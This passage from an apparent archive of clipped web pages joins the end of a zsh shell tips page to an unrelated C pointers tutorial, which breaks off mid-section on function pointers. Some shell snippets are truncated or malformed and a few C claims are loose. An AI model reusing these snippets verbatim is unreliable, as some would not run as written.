    7> mv somefile2 /home/saket/stuff/books/
    
    > mv !?saket
    Would bring up the whole line ready for a little editing
    
    or purist
    
    > mv !?saket?:*
    Would just bring up the parameters
    
    If you know the history number of the line (say 5) with desired parameters you can try
    
    > !5:s/somefile1/somefile2/
    
    and if you don't know the history number
    
    !?saket?:s/somefile1/somefile2/
    
    # History Substitution Summary
    #For CURRENT line that you are editing (the # designates current line)
    # Remember Tab will expand the following
    
    !#:0    command
    !#^     first parameter
    !#:1    first parameter
    !#:1-4  first 4 parameters
    !#$     last parameter
    !#*     all parameters
    !#$:s/bash/zsh perform substitution on previous parameter
    
    # rename a file with a prefix
    cp longfilename.php backup_!#^
    cp {,backup_}verylongfilename.tex   # same thing
    mv textfile.{txt,bak}   # expands to mv textfile.txt textfile.bak
    
    #For Previous Command (for comparison)
    !-1     repeat whole command
    !!      repeat (shortcut)
    !:0     command
    !^      first parameter
    !:1     first parameter
    !:1-4   first 4 parameters
    !$      last parameter
    !*      all parameters
    !!:s/bash/zsh (or ^bash^zsh)
    !^:t    just file name of first parameter
    !$:h    just path of last parameter
    !-2$:r  just file name without extension of first parameter
    
    For last but one command
    !-2     repeat last but one command
    !-2^    first parameter last but one command
    !-2$    last parameter last but one command
    !-2:2   second parameter of second but last command
    !-2:s/bash/zsh
    etc
    For history command 42
    !42
    
    
    
[/code]

* * *
[code]

    !:0 is the previous command name
    !^, !:2, !:3, !$ are the arguments
    !* is all the arguments
    !-2, !-3,  are earlier commands
    !-2^, !-2:2, !-2$, !-2* are earlier parameters
    
    cd !$:h  (remove file name)
    cat !!:t (only file name)
    # Convert images (foo.gif => foo.jpg):
    $ for i in **/*.gif; convert $i $i:r.jpg
    
    if [ $# -gt 0 ];then string=$*;else;string=$(getclip);fi # *N*
    
    print ${param:&}   (last substitute)
    
    < readme.txt  # < shorthand for more
    
    # Directory substitution (magic)
    # if you were in directory
    /c/inetpub/dev.somehomes.co.uk/epsystem/eppigeon/
    cd dev www
    #would put you in parallel directory
    /c/inetpub/www.somehomes.co.uk/epsystem/eppigeon/
    
    
    
[/code]

* * *
[code]

    # filtering the output of a command conventionally
    print $(history -n -1|sed 's/.* //')
    # ${${(z)foo}[2]} zsh filtering mechanism
    print ${${(z)$(history -n -1)}[-1]}
    print ${${(z)history[$((HISTCMD-1))]}[-1]}
    gvim.exe $(history -n -1 | sed "s/^[^ ]* //;s/ .*//")
    print ${${(z)history[$((HISTCMD-1))]}[2]}
    
    
[/code]

* * *
[code]

    # ls
    ls -ld **/*(/^F) # list any empty directories
    print **/*(/^F) | xargs -n1 -t rmdir #delete empty directories
    zargs rmdir -- ./**/*(/od) 2> /dev/null # deletes empty directories
    ls ^x*           # list all but x*
    #list all files without an extension ( no dot)
    ls *~*.*(.)
    # delete all directories Pictures_of_* except Pictures_of_beautiful_flowers
    rm -rf Pictures_of_^beautiful_flowers   # selective delete *N*
    ls (x*~x3|x5)    # list files x* except x3 and x5
    ls **/fred*~*junk*/* # list all files fred* unless in a junk directory
    grep 'host' **/(*.cfm~(ctpigeonbot|env).cfm)
    grep -i 'host' **/(*.cfm~(ctpigeonbot|env).cfm)~*((#s)|/)junk*/*(.)
    egrep -i "^ *mail\(" **/*.php  
    grep "^ *mail\(" **/*.php~*junk*/*  #find all calls to mail, ignoring junk directories
    tel blenkinsop | grep -o "[[:alnum:][:graph:]]*@[[:alnum:][:graph:]]*" # filter just an email address from a text stream (not zsh) *N*  
    ls *.h~(fred|foo).h # same thing
    ls (x*~x[3-5])   # list files x* except x3 to x5
    ls *[^2].php~*template*  # list files with 2nd filter
    ls (xx|yy)       # list xx or yy
    ls *.(jpg|gif)   # list graphic files
    ls fred{joe,sid}.pl
    ls fred{09..13}.pl # range
    ls fred<76-88>.pl# list all files fred76.pl to fred88.pl range
    ls fred<76->.pl  # list all files fred76.pl to fred9999*.pl etc
    ls {_,}fred.php  # list files _fred.php fred.php 
    ls (_|)fred.php  # same effect by globbing
    ls *.{jpg,gif}(.N) # don't break if one or other image type absent
    
    
[/code]

* * *
[code]

    setopt no_case_glob  # set ignore case for ls etc
    
    
[/code]

* * *
[code]

    # globbing modifiers
    # :r removes the suffix from the result,
    # :t takes away the directory part
    # . means must be regular files not directories etc
    # *(om[1]) picks most recently modified file
    # (.N) no warning message if any file absent
    ls (#i)*.pmm     # case insensitive globbing (note exact syntax)
    ls *(om[1])      # print the most recent file
    cp *(om[1])<TAB> # will complete file name
    ls *(.om[1])     # print the most recent file (not directory)
    ls -l *(Om[1])   # oldest file
    ls -lt **/*.tex(D.om[1,5]) # list 5 most recent files in hierarchy
    # list 5 most recent files in each sub-directory
    dirs=( '' **/*(DM/) ) eval 'ls ${^dirs}*(ND.om[1,5])'
    ls {^dev*,}/index.php(.N) # ignore directories beginning dev*
    ls **/index.php~dev*(/*)##   # ignore subdirectories dev* multi-level
    vi *(.om[1]^D)   # vi newest file ^D means switch off GLOB_DOTS ir ignore dot files
    ls *.txt(.om[1]) # ls newest *.txt file  *N*
    ls -tld **/*(m-2)# list files modified in last 2 days in hierarchy
    ls *(om[1,5])    # print the 5 most recent files
    ls -l *(m4)      # list files modified exactly 4 days ago
    ls -ltd *(mw3)   # list files 3 weeks old
    ls -1ld *([1,10])# list just 10 files one per line , no directories
    ls *(m-1)        # files modified today
    ls *(m0)         # files modified today
    ls *(^m0)        # files NOT modified today *N*
    vi *(m0)         # re-edit all files changed today!
    ls *.{aux,dvi,log,toc} # rm latex temp files  *C*
    rm ./*(Om[1,-11])# removes all files but the ten newest ones (delete all but last 10 files in a directory)
    mv *.*(^m-1) ./old # move all but today's files to sub-directory older *N*
    
    files=(${(f)"$(ls *$**)"}(.N))   # store matching files *N*
    
    ls *(n:t)        # order by name strip directory
    ls **/*(On:t)    # recursive reverse order by name, strip directory
    ls PHP*/**/*.php # recursive but only for subdirectories PHP*
    ls *.c(:r)       # strip suffix
    ls **/*(.)       # only files no directories
    ls -ld *(/)      # list only directories
    
    
[/code]

* * *
[code]

    #oddities
    [[ FOO = (#i)foo ]]  # case insensitive matching
    fred=$((6**2 + 6))      # can do maths
    : > /apache/access.log  # truncate a log file
    
    
[/code]

* * *
[code]

    # arrays
    X=(x1 x2)               # create an array
    print -C 1 $X           # print each array element on it's own line
    # 2 dimensional arrays- lookup conversion *N*
    typeset -A convtable
    convtable=(151 2 152 2 153 2 158 4 159 3 160 2 171 4 172 1 173 4)
    echo $convtable[158]
    print ${#path}          # length of "path" array
    print ${#path[1]}       # length of first element in path array
    print ${$( date )[2,4]} # Print words two to four of output of ’date’:
    array=(~/.zshenv ~/.zshrc ~/.zlogout)
    filelst[$(($#filelst+1))]=$x # append (push) to an array
    filelst+=($x)           # append (push) to an array (better)
    files=(${(f)"$(egrepcmd1l)"} ) # push a sentence to an array (where egrepcmd1l is a global alias
    % print ${array:t}
    .zshenv .zshrc .zlogout
    
    
    
[/code]

* * *
[code]

    # variable substitution
    somevar="bu&^*ck"                  # variable with mucky characters
    print ${somevar//[^[:alnum:]]/_}   # replace all non-alphanumerics with _
    echo ${file##*/}                   # echo just the file name
    echo ${texfilepath%/*.*}           # echo just the path
    echo ${file%.*}                    # strip file extension
    echo $file:r                       # strip file extension
    echo ${0##*[!0-9]}                 # strip all but trailing digit from filename $0
    echo ${(M)0%%<->}                  # strip all but trailing digit from filename 
    file=${1/\//C:\/}                  # substitute / with c:/ ANYWHERE in string
    file=${1/#\//C:\/}                 # substitute / with c:/ Beginning of string
    file=${1/%\//C:\/}                 # substitute / with c:/ End of string
                                       # note # & % are using to match beginning and end
    wpath=${wpath//\//\\\\}            # substitute Unix / with dos \ slashes *N*
    foo=$'bar\n\nbaz\n'
    print ${foo//$'\n'}                # strip out any carriage returns (some systems use \r) *N*
    print ${foo%%$'\n'}                # strip out a trailing carriage return *N*
    
    
    
    
[/code]

* * *
[code]

    # creating a family of functions
    # generate hrefs from url
    function href{,s}
    {
    # href creates an HTML hyperlink from a URL
    # hrefs creates an HTML hyperlink from a URL with modified anchor text
    PROGNAME=`basename $0`
    url=`cat /dev/clipboard`
    if [ "$PROGNAME" = "href" ] ; then
    href="$url"
    elif [ "$PROGNAME" = "hrefs" ] ; then 
    anchortext=${${(C)url//[_-]/ }:t}
    href="$anchortext"
    fi
    echo -n $col
    echo $href > /dev/clipboard | more
    }
    # create vim scratch files v1,v2 to v9
    function vx{0..9} {gvim.exe c:/aax/${0/#v/} &}
    #
    # create vim scratch files va,vb to vz
    function vx{a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,q,r,s,t,u,v,w,x,y,z}
    {
    scratchfile=${0/#v/}
    gvim.exe c:/aax/$scratchfile &
    }
    
    
    
    
[/code]

* * *
[code]

    # regular expressions in zsh  examples *N*
    #pcre perl regular expressions   *N*
    
    zmodload zsh/pcre
    setopt REMATCH_PCRE
    
    var=ddddd; [[ "$var" =~ ^d+$ ]] && echo matched || echo did not match
    
    var=dddee; regexp="^e+$"; [[ "$var" =~ $regexp ]] && echo $regexp matched $var || echo $regexp did not match $var
    
    
    
    
[/code]

* * *
[code]

    # decisions
    # cd to different drive depending on Windows login name
    drive=$([[ "$LOGNAME" != davidr ]] && echo '/o' || echo '/c') # trad way
    cd ${drive}/inetpub/wwwdev/www.some.co.uk/
    drive=${${${LOGNAME:#davidr}:+/o}:-/c}                        # zsh way
    cd ${drive}/inetpub/wwwdev/www.some.co.uk/
    
    # chaining two modifications 
    # .om[1] gives newest file
    # cyg is a zsh function doing a path conversion
    gvim.exe $(echo /c/aax/*(.om[1]))(+cyg) &  ### nested
    gvim.exe /c/aax/*(.om[1]+cyg) &            #### both operations
    
    # odd stuff not necessarily zsh
    cp -a file1 file   # -a transfer  permissions etc of file1 to file2preserve
    # only copy if destination file exists and is older that source file
    [[ -e $L/config.php ]] && cp -p -update $T/config.php $L *N*
    # variable with variable name
    eval "$1=$PWD"
    
    
    
[/code]

* * *
[code]

    # brilliant will change your life
    dirs -v                         # *N*
    cd ~5                           # cd to fifth directory in directory stack
    cd - then type number of directory
    dirs -p                         # display recent directories *N*
    cp file ~1                      # where 1 is first entry in pushd stack
    pushd +2                        # cd to 3rd entry in pushd stack
    #zsh completion
    startfilename<tab>           # will complete matching files anywhere in $PATH
    startfilename<C-D>           # will list matching files anywhere in $PATH
    vi main*~*temp*<tab>         # avoid file with temp in the name
    cd /u/lo/li<tab>  completes to /usr/local/lib
    #directory sizes
    du -sk *(/)
    # Inline aliases, zsh -g aliases can be anywhere in command line
    alias -g G='| grep -'
    alias -g L='| less'
    #this reduces a command like
    ls | grep foo | less
    #to 
    ls G foo L
    # 
    alias -g R=' > /c/aaa/tee.txt '           # redirect
    alias -g T=' | tee /c/aaa/tee.txt '       # tee
    alias -g F=' | fmt -'                     # format
    alias -g W=' | wc -l'                     # wc
    #
    
    
[/code]

* * *
[code]

    # cd by .. or ... or ... or mv file ..../.
    alias '..'='cd ..'
    alias -g ...='../..'
    alias -g ....='../../..'
    alias -g .....='../../../..'
    
    
[/code]

* * *
[code]

    # suffix based alias
    alias -s jpg='/c/program\ files/IrfanView/i_view32.exe'
    now just type the image name to launch irfanview
    alias -s php='c:/wamp/php/php.exe'  # now just type test.php to execute it *N*
    # named directories (these are a type of alias)
    hash -d zsh="/usr/src/zsh"          # create shortcuts to deep directories  *N*
    cd ~zsh
    
    
[/code]

* * *
[code]

    #magic equals
    vim =some_file                            # edits file anywhere in $PATH
    ls =some_file                             # lists file anywhere in $PATH
    #magic ** (recursion)
    vim **/some_file                          # edits file under under current dir
    # modifying more than one file (multios)
    # writes ls results to file1 & file2 appends to filec
    ls > file1 > file2 >> file3 | wc          # multi-io
    myscript >&1 >output.txt                  # log a script output
    #Redirection to file as well as send on to pipe:
    make install > /tmp/logfile | grep -i error
    
    
    
[/code]

* * *
[code]

    function g{0..9} { gmark $0 $* }          # declaring multiple functions
    
    
[/code]

* * *
[code]

    # zmv "programmable rename"
    autoload -U zmv
    # Replace spaces in filenames with a underline
    zmv '* *' '$f:gs/ /_'
    zmv '(* *)' '${1// /}'
    zmv -Q "(**/)(* *)(D)" "\$1\${2// /_}"
    # Change the suffix from *.sh to *.pl
    zmv -W '*.sh' '*.pl'
    # lowercase/uppercase all files/directories
    $ zmv '(*)' '${(L)1}' # lowercase
    $ zmv '(*)' '${(U)1}' # uppercase
    
    
    
[/code]

* * *
[code]

    #Wonderful zftp (write ftp scripts as though shell)
    
    # init (could be in .zshenv etc)
    autoload -U zfinit  
    zfinit  
    zfparams www.someweb.co.uk myuserid mypassword
    zfopen 
    zfcd tips
    zfls -l zshtips.html
    zfput zshtips.html
    zfls -l zshtips.html
    
    # replace every occurence of a file (zsh and bash)
    for f in */include/dbcommon.php; do;cp dbcommon.php $f; done
    # create a clone of a file, modifying it on the fly *N*
    for i in {3,4}; sed s/flag=2/flag=$i/ fred.txt > fred$i.txt
    # loop a command *N*
    while true; do echo "infinite loop"; sleep 5; done
    
    # using vared
    vared -p "choose 1-3 : " -c ans
    case $ans in
     1|a) sdba $key;;
     2|f) sdbf $key;;
     3|i) sdbi $key;;
     *) echo "wrong answer $ans\n" ;;
    esac
    
    # the powerful select
    PROMPT3="Choose File : "
    select f in $(ls **/*.tex |egrep -i "${param}[^/]*.tex")
    do
     if [[ "$REPLY" = q ]]
     then
        break
     elif [[ -n "$f" ]]; then
        gvim $f
     fi
    done
    # editing a variable (You must try this)
    vared PATH
    
    
    
[/code]

* * *
[code]

    bindkey -v # vi mode line editting
    bindkey -M viins '^O' copy-prev-shell-word
    bindkey '^L' push-line # push current command into a buffer, allows you to do another command then returns to previous command
    # configure F7 to output a command
    bindkey -s '^v' 'ls -l' # configure F7 to output 'ls -l' 
    bindkey -s "^[[18~" 'ls -l' # You must actually type Control-v F7 this is what it looks like on my system : 
    
    
    
[/code]

* * *
[code]

    # Prompt at end of command line
    RPROMPT="[%t]" (display the time)
    # colo(u)red prompt
    fg_light_red=$'%{\e[1;31m%}'
    PS3="$fg_light_red Select file : "
    # print fred in blue color
    print '\e[1;34m fred'
    # color module
    autoload colors ; colors
    print "$bg[cyan]$fg[blue]Welcome to man zsh-lovers" >> $TTY
    
    
[/code]

* * *
[code]

    curl -u userid:password -d status=" updating twitter with from curl " http://twitter.com/statuses/update.xml
    
    
[/code]

* * *
[code]

    # my .zshenv *N*
    autoload -U compinit
    compinit
    autoload      edit-command-line
    zle -N        edit-command-line
    bindkey '\ee' edit-command-line
    VISUAL='/bin/vim'
    EDITOR='/bin/vim
    
    
[/code]

* * *
[code]

    textify a phrase to create an image name
    s=’Fred Goat Dog’
    print ${(L)s:gs/ /-/}.jpg
    or
    print ${(L)s// /-}.jpg
    
    and to de-textify an image
    
    foo=fred-goat-dog.jpg
    echo ${(C)foo:gs/-/ /:r}
    or
    print ${${(Cs:-:):-fred-goat-dog.jpg}%.*}
    
    
[/code]

* * *
[code]

    #new
    #" read a file into a variable
    var="$(
    
[/code]

* * *
[code]

     
    Sources newsgroup gmane.comp.shells.zsh.user, masterzen
    
    Everything here is **Simple** zsh visit the above newsgroup for the **Sick** stuff
    
    
[/code]

* * *
[code]

    Upload this page (use yy@" on following line, to invoke upload zftp script)!!
    :!zshtipsftp
    
    
[/code]

# Everything you need to know about pointers in C

**Created:**| _5/20/2012 4:26:17 PM_  
---|---  
**Updated:**| _5/20/2012 4:26:17 PM_  
**Author:**| __  
**Tags:**| _bookmark C pointers_  
  

# Everything you need to know about pointers in C

Version 1.3.

Copyright 2005–2010 Peter Hosey.

  
This work is licensed under a Creative Commons Attribution 2.5 License.

* * *
This document comes with a companion example program, available as one file or
as multiple files \(zipped\).

## Style used in this document

This is regular text. This is a variable, some `code`, and some sample output.

> This is a line of code. This is a comment. This is also a comment.
> This is output you'd see on your screen.
* * *
## Table of contents

  * Definition of a pointer
  * Starting off
  * Interlude: Declaration syntax
  * Assignment and pointers
  * Dereferencing
  * Interlude: Arrays
  * Pointer arithmetic \(or: why 1 == 4\)
  * Indexing
  * Interlude: Structures and unions
  * Multiple indirection
  * Pointers and const
  * Function pointers
  * Strings \(and why there is no such thing\)

* * *
## Definition of a pointer

A pointer is a memory address.

\(Mmm, short paragraphs.\)

* * *
## Starting off

Say you declare a variable named foo.

> int foo;
This variable occupies some memory. On current mainstream Intel processors, it
occupies four bytes of memory \(because an int is four bytes wide\).

Now let's declare another variable.

> int \*foo\_ptr = &foo;
foo\_ptr is declared as a pointer to int. We have initialized it to point to
foo.

As I said, foo occupies some memory. Its location in memory is called its
address. `&foo` is the address of foo \(which is why & is called the “address-
of operator”\).

Think of every variable as a box. foo is a box that is `sizeof(int)` bytes in
size. The location of this box is its address. When you access the address,
you actually access the contents of the box it points to.

This is true of all variables, regardless of type. In fact, grammatically
speaking, there is no such thing as a “pointer variable”: all variables are
the same. There are, however, variables with different types. foo's type is
int. foo\_ptr's type is int \*. \(Thus, “pointer variable” really means
“variable of a pointer type”.\)

The point of that is that _the pointer is not the variable_\! The pointer to
foo is the _contents_ of foo\_ptr. You could put a different pointer in the
foo\_ptr box, and the box would still be foo\_ptr. But it would no longer
point to foo.

<img src='img/Temp2_2772.png' width='249' height='117' alt='The box named
foo_ptr (an int *) is a pointer to a box named foo (an int).' />

The pointer has a type, too, by the way. Its type is int. Thus it is an “int
pointer” \(a pointer to int\). An int \*\*'s type is int \* \(it points to a
pointer to int\). The use of pointers to pointers is called multiple
indirection. More on that in a bit.

* * *
## Interlude: Declaration syntax

The obvious way to declare two pointer variables in a single declaration is:

> int\* ptr\_a, ptr\_b;
  * If the type of a variable containing a pointer to int is int \*,
  * and a single declaration can declare multiple variables of the same type by simply providing a comma-separated list \(`ptr_a, ptr_b`\),
  * then you can declare multiple int-pointer variables by simply giving the int-pointer type \(int \*\) followed by a comma-separated list of names to use for the variables \(`ptr_a, ptr_b`\).

Given this, what is the type of ptr\_b? int \*, right?

\*bzzt\* Wrong\!

The type of ptr\_b is int. It is **not** a pointer.

C's declaration syntax ignores the pointer asterisks when carrying a type over
to multiple declarations. If you split the declaration of ptr\_a and ptr\_b
into multiple declarations, you get this:

> int \*ptr\_a; int ptr\_b;
Think of it as assigning each variable a base type \(int\), plus a level of
indirection, indicated by the number of asterisks \(ptr\_b's is zero; ptr\_a's
is one\).

It's possible to do the single-line declaration in a clear way. This is the
immediate improvement:

> int \*ptr\_a, ptr\_b;
Notice that the asterisk has moved. It is now right next to the word ptr\_a. A
subtle implication of association.

It's even clearer to put the non-pointer variables first:

> int ptr\_b, \*ptr\_a;
The absolute clearest is to keep every declaration on its own line, but that
can take up a lot of vertical space. Just use your own judgment.

Finally, I should point out that you can do this just fine:

> int \*ptr\_a, \*ptr\_b;
There's nothing wrong with it.

Incidentally, C allows zero or more levels of parentheses around the variable
name and asterisk:

> int \(\(not\_a\_pointer\)\), \(\*ptr\_a\), \(\(\(\*ptr\_b\)\)\);
This is not useful for anything, except to declare function pointers
\(described later\).

Further reading: The right-left rule for reading C declarations.

* * *
## Assignment and pointers

Now, how do you assign an int to this pointer? This solution might be obvious:

> foo\_ptr = 42;
It is also wrong.

Any direct assignment to a pointer variable will change the address in the
variable, _not_ the value at that address. In this example, the new value of
foo\_ptr \(that is, the new “pointer” in that variable\) is 42. But we don't
know that this points to anything, so it probably doesn't. Trying to access
this address will probably result in a segmentation violation \(read: crash\).

\(Incidentally, compilers usually warn when you try to assign an int to a
pointer variable. `gcc` will say “warning: initialization makes pointer from
integer without a cast”.\)

So how do you access the value at a pointer? You must dereference it.

* * *
## Dereferencing

> int bar = \*foo\_ptr;
In this declaration, the dereference operator \(prefix \*, not to be confused
with the multiplication operator\) looks up the value that exists at an
address. \(This is called a “load” operation.\)

It's also possible to write to a dereference expression \(the C way of saying
this: a dereference expression is an lvalue, meaning that it can appear on the
left side of an assignment\):

> \*foo\_ptr = 42; Sets foo to 42
\(This is called a “store” operation.\)

* * *
## Interlude: Arrays

Here's a declaration of a three-int array:

> int array\[\] = \{ 45, 67, 89 \};
Note that we use the `[]` notation because we are declaring an array. `int
*array` would be illegal here; the compiler would not accept us assigning the
`{ 45, 67, 89 }` initializer to it.

This variable, array, is an extra-big box: three ints' worth of storage.

One neat feature of C is that, in most places, when you use the name `array`
again, you will actually be using a pointer to its first element \(in C terms,
`&array[0]`\). This is called “decaying”: the array “decays” to a pointer.
Most usages of array are equivalent to if array had been declared as a
pointer.

There are, of course, cases that aren't equivalent. One is assigning to the
name `array` by itself \(`array = …`\)—that's illegal.

Another is passing it to the `sizeof` operator. The result will be the total
size of the array, not the size of a pointer \(for example, `sizeof(array)`
using the array above would evaluate to \(`sizeof(int)` = 4\) × 3 = 12 on a
current Mac OS X system\). This illustrates that you are really handling an
array and not merely a pointer.

In most uses, however, array expressions work just the same as pointer
expressions.

So, for example, let's say you want to pass an array to `printf`. You can't:
When you pass an array as an argument to a function, you really pass a pointer
to the array's first element, because the array decays to a pointer. You can
only give `printf` the pointer, not the whole array. \(This is why `printf`
has no way to print an array: It would need you to tell it the type of what's
in the array and how many elements there are, and both the format string and
the list of arguments would quickly get confusing.\)

Decaying is an implicit &; `array == &array == &array[0]`. In English, these
expressions read “array”, “pointer to array”, and “pointer to the first
element of array” \(the subscript operator, \[\], has higher precedence than
the address-of operator\). But in C, all three expressions mean the same
thing.

\(They would not all mean the same thing if “`array`” were actually a pointer
variable, since the address of a pointer variable is different from the
address inside it—thus, the middle expression, `&array`, would not be equal to
the other two expressions. The three expressions are all equal only when
`array` really is an array.\)

* * *
## Pointer arithmetic \(or: why 1 == 4\)

Say we want to print out all three elements of array.

> int \*array\_ptr = array; printf\(" first element: %i\n",
> \*\(array\_ptr++\)\); printf\("second element: %i\n", \*\(array\_ptr++\)\);
> printf\(" third element: %i\n", \*array\_ptr\);
> first element: 45 second element: 67 third element: 89
In case you're not familiar with the `++` operator: it adds 1 to a variable,
the same as `variable += 1` \(remember that because we used the postfix
expression `array_ptr++`, rather than the prefix expression `++array_ptr`, the
expression evaluated to the value of array\_ptr from _before_ it was
incremented rather than after\).

But what did we do with it here?

Well, the type of a pointer matters. The type of the pointer here is int. When
you add to or subtract from a pointer, the amount by which you do that is
multiplied by the size of the type of the pointer. In the case of our three
increments, each 1 that you added was multiplied by `sizeof(int)`.

By the way, though `sizeof(void)` is illegal, void pointers are incremented or
decremented by 1 byte.

In case you're wondering about `1 == 4`: Remember that earlier, I mentioned
that ints are four bytes on current Intel processors. So, on a machine with
such a processor, adding 1 to or subtracting 1 from an int pointer changes it
by four bytes. Hence, `1 == 4`. \(Programmer humor.\)

* * *
## Indexing

> printf\("%i\n", array\[0\]\);
OK… what just happened?

This happened:

> 45
Well, you probably figured that. But what does this have to do with pointers?

This is another one of those secrets of C. The subscript operator \(the `[]`
in `array[0]`\) has _nothing to do with arrays_.

Oh, sure, that's its most common usage. But remember that, in most contexts,
arrays decay to pointers. This is one of them: That's a _pointer_ you passed
to that operator, not an array.

As evidence, I submit:

> int array\[\] = \{ 45, 67, 89 \}; int \*array\_ptr = &array\[1\];
> printf\("%i\n", array\_ptr\[1\]\);
> 89
That one might bend the brain a little. Here's a diagram:

<img src='img/Temp2_2773.png' width='214' height='127' alt='The second element
of array_ptr is the third element of array.' />

array points to the first element of the array; array\_ptr is set to
`&array[1]`, so it points to the second element of the array. So
`array_ptr[1]` is equivalent to `array[2]` \(array\_ptr starts at the second
element of the array, so the second element of array\_ptr is the third element
of the array\).

Also, you might notice that because the first element is `sizeof(int)` bytes
wide \(being an int\), the second element is `sizeof(int)` bytes forward of
the start of the array. You are correct: `array[1]` is equivalent to `*(array
+ 1)`. \(Remember that the number added to or subtracted from a pointer is
multiplied by the size of the pointer's type, so that “`1`” adds `sizeof(int)`
bytes to the pointer value.\)

* * *
## Interlude: Structures and unions

Two of the more interesting kinds of types in C are structures and unions. You
create a structure type with the struct keyword, and a union type with the
union keyword.

The exact definitions of these types are beyond the scope of this article.
Suffice to say that a declaration of a struct or union looks like this:

> struct foo \{ size\_t size; char name\[64\]; int
> answer\_to\_ultimate\_question; unsigned shoe\_size; \};
Each of those declarations inside the block is called a member. Unions have
members too, but they're used differently. Accessing a member looks like this:

> struct foo my\_foo; my\_foo.size = sizeof\(struct foo\);
The expression `my_foo.size` accesses the member size of my\_foo.

So what do you do if you have a pointer to a structure?

> One way to do it \(\*foo\_ptr\).size = new\_size;
But there is a better way, specifically for this purpose: the pointer-to-
member operator.

> Yummy foo\_ptr->size = new\_size;
Unfortunately, it doesn't look as good with multiple indirection.

> Icky \(\*foo\_ptr\_ptr\)->size = new\_size; One way
> \(\*\*foo\_ptr\_ptr\).size = new\_size; or another
Rant: Pascal does this much better. Its dereference operator is a postfix ^:

> Yummy foo\_ptr\_ptr^^.size := new\_size;
\(But putting aside this complaint, C is a much better language.\)

* * *
## Multiple indirection

I want to explain multiple indirection a bit further.

Consider the following code:

> int a = 3; int \*b = &a; int \*\*c = &b; int \*\*\*d = &c;
Here are how the values of these pointers equate to each other:

  * \*d == c; Dereferencing an \(int \*\*\*\) once gets you an \(int \*\*\) \(3 - 1 = 2\)
  * \*\*d == \*c == b; Dereferencing an \(int \*\*\*\) twice, or an \(int \*\*\) once, gets you an \(int \*\) \(3 - 2 = 1; 2 - 1 = 1\)
  * \*\*\*d == \*\*c == \*b == a == 3; Dereferencing an \(int \*\*\*\) thrice, or an \(int \*\*\) twice, or an \(int \*\) once, gets you an int \(3 - 3 = 0; 2 - 2 = 0; 1 - 1 = 0\)

Thus, the & operator can be thought of as adding asterisks \(increasing
pointer level, as I call it\), and the \*, ->, and \[\] operators as removing
asterisks \(decreasing pointer level\).

* * *
## Pointers and const

The const keyword is used a bit differently when pointers are involved. These
two declarations are equivalent:

> const int \*ptr\_a; int const \*ptr\_a;
These two, however, are not equivalent:

> int const \*ptr\_a; int \*const ptr\_b;
In the first example, the int \(i.e. `*ptr_a`\) is const; you cannot do
`*ptr_a = 42`. In the second example, the pointer itself is const; you can
change `*ptr_b` just fine, but you cannot change \(using pointer arithmetic,
e.g. `ptr_b++`\) the pointer itself.

* * *
## Function pointers

Note: The syntax for all of this seems a bit exotic. It is. It confuses a lot
of people, even C wizards. Bear with me.

It's possible to take the address of a function, too. And, similarly to
arrays, functions decay to pointers when their names are used. So if you
wanted the address of, say, strcpy, you could say either `strcpy` or
`&strcpy`. \(`&strcpy[0]` won't work for obvious reasons.\)

When you call a function, you use an operator called the function call
operator. The function call operator takes a function pointer on its left
side.

In this example, we pass dst and src as the arguments on the interior, and
strcpy as the function \(that is, the function pointer\) to be called:

> enum \{ str\_length = 18U \}; Remember the NUL terminator\! char
> src\[str\_length\] = "This is a string.", dst\[str\_length\]; strcpy\(dst,
> src\); The function call operator in action \(notice the function pointer on
> the left side\).
There's a special syntax for declaring variables whose type is a function
pointer.

> char \*strcpy\(char \*dst, const char \*src\); An ordinary function
> declaration, for reference char \*\(\*strcpy\_ptr\)\(char \*dst, const char
> \*src\); Pointer to strcpy-like function strcpy\_ptr = strcpy; strcpy\_ptr =
> &strcpy; This works too strcpy\_ptr = &strcpy\[0\]; But not this
Note the parentheses around `*strcpy_ptr` in the above declaration. These
separate the asterisk indicating return type \(char \*\) from the asterisk
indicating the pointer level of the variable \(`*strcpy_ptr` — one level,
pointer to function\).

Also, just like in a regular function declaration, the parameter names are
optional:

> char \*\(\*strcpy\_ptr\_noparams\)\(char \*, const char \*\) = strcpy\_ptr;
> Parameter names removed — still the same type
The type of the pointer to strcpy is char \*\(\*\)\(char \*, const char \*\);
you may notice that this is the declaration from above, minus the variable
name. You would use this in a cast. For example:

> strcpy\_ptr = \(char \*\(\*\)\(char \*dst, const char \*src\)\)my\_strcpy;
As you might expect, a pointer to a pointer to a function has two asterisks
inside of the parentheses:

> char \*\(\*\*strcpy\_ptr\_ptr\)\(char \*, const char \*\) = &strcpy\_ptr;
We can have an array of function-pointers:

> char \*\(\*strcpies\[3\]\)\(char \*, const char \*\) = \{ strcpy, strcpy,
> strcpy \}; char \*\(\*strcpies\[\]\)\(char \*, const char \*\) = \{ strcpy,
> strcpy, strcpy \}; Array size is optional, same as ever strcpies\[0\]\(dst,
> src\);
Here's a pathological declaration, taken from the C99 standard. “\[This
declaration\] declares a function f with no parameters returning an int, a
function fip with no parameter specification returning a pointer to an int,
and a pointer pfi to a function with no parameter specification returning an
int.” \(6.7.5.3\[16\]\)

> int f\(void\), \*fip\(\), \(\*pfi\)\(\);
In other words, the above is equivalent to the following three declarations:

> int f\(void\); int \*fip\(\); Function returning int pointer int
> \(\*pfi\)\(\); Pointer to function returning int
But if you thought that was mind-bending, brace yourself…

* * *
A function pointer can even be the return value of a function. This part is
_really_ mind-bending, so stretch your brain a bit so as not to risk injury.

In order to explain this, I'm going to summarize all the declaration syntax
you've learned so far. First, declaring a pointer variable:

> char \*ptr;
This declaration tells us the pointer type \(char\), pointer level \(`*`\),
and variable name \(ptr\). And the latter two can go into parentheses:

> char \(\*ptr\);
What happens if we replace the variable name in the first declaration with a
name followed by a set of parameters?

> char \*strcpy\(char \*dst, const char \*src\);
Huh. A function declaration.

But we also removed the `*` indicating pointer level — remember that the `*`
in this function declaration is part of the return type of the function. So if
we add the pointer-level asterisk back \(using the parentheses\):

> char \*\(\*strcpy\_ptr\)\(char \*dst, const char \*src\);
A function pointer variable\!

But wait a minute. If this is a variable, and the first declaration was also a
variable, can we not replace the variable name in THIS declaration with a name
and a set of parameters?

YES WE CAN\! And the result is the declaration of a function that returns a
function pointer:

> char \*\(\*get\_strcpy\_ptr\(void\)\)\(char \*dst, const char \*src\);
Remember that the type of a pointer to a function taking no arguments and
returning int is int \(\*\)\(void\). So the type returned by this function is
char \*\(\*\)\(char \*, const char \*\) \(with, again, the inner `*`
indicating a pointer, and the outer `*` being part of the return type of the
pointed-to function\). You may remember that that is also the type of
strcpy\_ptr.

